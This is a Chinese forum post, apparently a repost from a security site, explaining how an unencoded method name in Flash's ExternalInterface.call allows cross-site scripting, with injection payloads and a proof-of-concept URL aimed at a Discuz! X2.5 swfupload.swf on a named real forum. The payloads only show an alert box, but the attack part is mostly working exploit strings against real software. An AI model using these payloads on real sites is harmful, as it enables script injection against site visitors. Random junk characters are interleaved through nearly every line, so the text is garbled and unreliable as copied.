上回我们说7 O0 N7 ]/ P% X/ O6 m; x. o; }) C
. t- J; B V9 C; Nflash.external.ExternalInterface.call($methodName, $parameter)+ K( b9 O' a; k$ t& f" c2 G: b
在浏览器中执行的是
# q1 v. j- \7 G8 Q* ]3 q K; n+ _ Y
- M8 D! x- }# s( n, T) j; _try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
* u2 d, `) ^& b, x+ }7 L% o对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
, A# b! I+ C! }3 C3 t( q) V6 P. S3 N1 \+ k9 Y7 ^- v
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
5 [, E) H, D* _2 `3 c, {& t$methodName = a())}catch(e){alert(/xss/)}//0 U8 T/ ]( Z' M
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。/ ^3 B+ c/ I* B8 ?
1 H% T) H; E; I+ btry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
% d4 F, H1 v9 s: s4 [: f! m. z" x+ u b2 Z% Q9 Q f
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )5 _+ p3 {) ^+ ~+ }( u u. T
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
2 J' n2 {& t! |1 C$ o2 \2 N" y) v" M9 i3 m! T
1 V, K/ t. t8 R- R% D
7 O1 ]5 [& @. A* R) d0 G
漏洞文件:upload\static\image\common\swfupload.swf
7 i; h9 E, K% B' k9 M$ J3 X' x
- F0 h' o0 K2 R' ^8 W原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
4 e: v8 c2 }% C% W! V7 x$ X
; Q+ x6 O5 c V) @6 D# A$ [8 r/ h X& s1 Q1 W& X- Y$ q
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
' E6 L0 Y8 a5 b5 q ~6 |# ?
3 y- @: r0 M; l( Y9 Y' Z6 A+ \/ K' M8 r# b# O: t/ S
|